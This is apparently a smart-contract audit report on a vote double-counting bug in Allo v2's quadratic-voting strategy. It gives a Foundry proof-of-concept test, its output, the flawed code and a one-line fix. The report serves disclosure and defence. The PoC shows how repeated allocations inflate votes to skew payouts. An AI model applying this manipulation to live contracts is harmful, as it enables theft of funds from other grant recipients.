Dandy Arctic Buffalo

high

# Double-counting past voice credits permits allocators to manipulate distribution of funds in quadratic voting allocation strategies
## Summary
Voice credits, which translate to votes for eligible fund recipients, are double-counted when an allocator calls the `allocate()` function repeatedly for the same recipient. This allows inflating the vote count for selected recipient(s) to skew the distribution of funds.

## Vulnerability Detail
The [QVBaseStrategy.sol](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol) contract uses designated "allocator" accounts to distribute an allotment of "voice credits" among candidates, those credits translate to votes via a square root calculation, and the proportion of votes per recipient determines the share of funds that each eligible ("accepted") recipient receives from the funding pool.

Per the quadratic voting formula, the votes allocated to a recipient should be $\sqrt{vc}$ where `vc` is the number of voice credits allocated to that recipient. For a single call to `allocate()`, that holds true. But, if an allocator calls `allocate()` repeatedly for the same recipient, it is not true. Instead, the recipient gets $\sqrt{vc + vc'}$ where `vc'` is the number of voice credits previously allocated by the same allocator to the same recipient. So, repeated calls to `allocate()` can effectively double the previous credits on each call.

**Proof of Concept**
Modification of [this test function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/test/foundry/strategies/QVBaseStrategy.t.sol#L670) that allocates 7 voice credits, one at a time:
```solidity
   function test_allocate() public virtual {
        address recipientId = __register_accept_recipient();
        address allocator = randomAddress();

        vm.startPrank(pool_manager2());
        vm.warp(allocationStartTime + 10);

        bytes memory allocateData = __generateAllocation(recipientId, 1);
        vm.stopPrank();

        vm.startPrank(address(allo()));
        for (uint i = 1; i <= 7; i++) {
            qvStrategy().allocate(allocateData, allocator);

            QVBaseStrategy.Recipient memory r = qvStrategy().getRecipient(recipientId);
            console.log(r.totalVotesReceived);
        }
    }
```
`forge test --match-path *QVBaseStrategy.t.sol --match-test test_allocate -vv`
```solidity
Running 1 test for test/foundry/strategies/QVBaseStrategy.t.sol:QVBaseStrategyTest
[PASS] test_allocate() (gas: 420592)
Logs:
  1000000000
  1414213562
  2000000000
  2828427124
  4000000000
  5656854249
  8000000000
```
(The vote values are scaled by 10^9 because the [voice credits get scaled up by 10^18](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L522) for the square root calculation.) 
After allocating 7 voice credits the number of votes received is $\sqrt{1+63} * 10^9$ but it should be $\sqrt{7} * 10^9$ as found after adding the fix that is recommended below:
```solidity
Running 1 test for test/foundry/strategies/QVBaseStrategy.t.sol:QVBaseStrategyTest
[PASS] test_allocate() (gas: 419588)
Logs:
  1000000000
  1414213562
  1732050807
  2000000000
  2236067977
  2449489742
  2645751311
```

## Impact
An allocator can inflate their vote by allocating voice credits individually and unduly influence the payout distribution to recipients. A sybil attack where the attacker uses 2 accounts to act as an accepted recipient and as an allocator (or collusion between an accepted recipient and allocator), can swing the vote and payout distribution in favor of the attacker(s), and thereby steal funds from all other accepted recipients.

## Code Snippet
[QVBaseStrategy._qv_allocate() function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L499-L534) double-counts voice credits previously allocated to same recipient:
```solidity
/// @notice Allocate voice credits to a recipient
    /// @dev This can only be called during active allocation period
    /// @param _allocator The allocator details
    /// @param _recipient The recipient details
    /// @param _recipientId The ID of the recipient
    /// @param _voiceCreditsToAllocate The voice credits to allocate to the recipient
    /// @param _sender The sender of the transaction
    function _qv_allocate(
        Allocator storage _allocator,
        Recipient storage _recipient,
        address _recipientId,
        uint256 _voiceCreditsToAllocate,
        address _sender
    ) internal onlyActiveAllocation {
        // check the `_voiceCreditsToAllocate` is > 0
        if (_voiceCreditsToAllocate == 0) revert INVALID();

        // get the previous values
        uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];
        uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];

        // get the total credits and calculate the vote result
        uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;
        uint256 voteResult = _sqrt(totalCredits * 1e18);

        // update the values
        voteResult -= votesCastToRecipient;
        totalRecipientVotes += voteResult;
        _recipient.totalVotesReceived += voteResult;

        _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;
        _allocator.votesCastToRecipient[_recipientId] += voteResult;

        // emit the event with the vote results
        emit Allocated(_recipientId, voteResult, _sender);
    }
```

## Tool used

Manual Review

## Recommendation
Change [this line of QVBaseStrategy._qv_allocate()](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L529) function from
```solidity
_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;
```
to
```solidity
_allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;
```
Alternatively, add `totalCredits -= _voiceCreditsToAllocate;` prior to that to parallel the adjustment made to `voteResult` that prevents double-counting past votes.